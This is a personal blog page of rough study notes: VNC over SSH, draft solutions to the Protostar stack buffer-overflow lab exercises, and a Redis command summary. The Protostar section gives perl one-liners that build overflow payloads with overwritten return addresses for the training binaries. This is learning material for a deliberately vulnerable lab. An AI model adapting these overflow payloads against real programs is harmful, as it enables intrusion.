So I don't forget:
On trucks, start a VNC server.
On Charybdis, use Chicken of the VNC to connect.
I happened to ssh into a machine called iveco, and vncserver started running on display 3 (thus the 5900 + 3). Enter an ssh password and there you have it - a gooey, gui connection :3
This is the CS dept guide to VNC, though it does not use SSH tunneling.
Thursday, October 25, 2012
Sunday, October 7, 2012
Exercises by Exercise
(DRAFTS I SHOULD'VE POSTED BUT DIDN'T)
====================================================================
EXERCISE 0
Goal : Modify the 'modified' variable.
====================================================================
First off, include the directory for protostar executables in your shell PATH.
In the code, notice that modified is declared (and therefore stored) before buffer. The stack grows down but writes up, meaning modified has a higher address than buffer because it came first. Writing up from the base of buffer, we can provide too much input and change modified.
=====IMPLEMENTATION=====:
====================================================================
EXERCISE 1
Goal : Modify the 'modified' variable to a specific value (ABCD)
====================================================================
Note the important hint that "Protostar is little endian." When you don't take that into account, it fails.
=====IMPLEMENTATION=====:
====================================================================
EXERCISE 2
Goal : Modify the 'modified' variable to a specific value (ABCD)
====================================================================
Perl script
=====IMPLEMENTATION=====:
====================================================================
If you put the line:
set disassembly-flavor intel
in the file ~/.gdbinit it should work.
enable ssh server
READ THIS: http://insecure.org/stf/smashstack.html
[I SHOULD REALLY CLEAN THIS UP... EVENTUALLY....]
#0
perl -e 'print "A"x65' >attack0.sh
#1
perl -e 'print "A"x64, "dcba"'>attack1.sh
#2
set environment var with perl
get newline into buffer overflow ==> just use ' . '
#3
[picture from 4:20ish here 7/24]
perl -e 'print "a"x64 . "\x24\x84\x04\x08"' > attack3.txt
./stack3 < attack3.txt
#4
perl -e 'print "A"x76 . "\xf4\x83\x04\x08"'>attack4.txt
#5
[pic @ 5:35 7/24 here]
ON PROTOSTAR:
ip addr (get ip address )
TERMINAL ON OSX
ssh user@IPADDRESSHERE
user
bash
Go Redis! (Graph Database)
(DRAFT I SHOULD'VE POSTED BUT DIDN'T)
Redis Interactive Tutorial
My (redundant) summary:
Redis Interactive Tutorial
My (redundant) summary:
- Access Data
- SET my_key "my_value"
- "OK"
- GET my_key
- (returns my_value)
- Manipulate Data
- DEL my_key
- returns 1
- INCR my_key
- returns new value
- SETNX my_key "my_value"
- sets if does not exist (T/F success)
- EXPIRE my_key time_limit_in_sec
- TTL my_key
- returns remaining lifespan in seconds
- -1 if immortal
- Basic Datatypes
- Set
- SADD my_set "my_value"
- SREM my_set "my_value"
- SMEMBERS my_set
- lists members
- SISMEMBER my_set "my_value"
- T/F is a member
- SUNION my_set my_other_set
- union of sets, deletes non-unique entries
- Sorted Set
- ZADD my_set my_param "my_value"
- ZRANGE my_set START# END#
- List
- LRANGE my_list #STRT #END
- 0 to -1 gives entire list
- LPUSH/LPOP my_list "my_value"
- pushes/pops to end of list
- RPUSH/RPOP my_list "my_value"
- pushes/pops to beginning of list
Subscribe to:
Posts (Atom)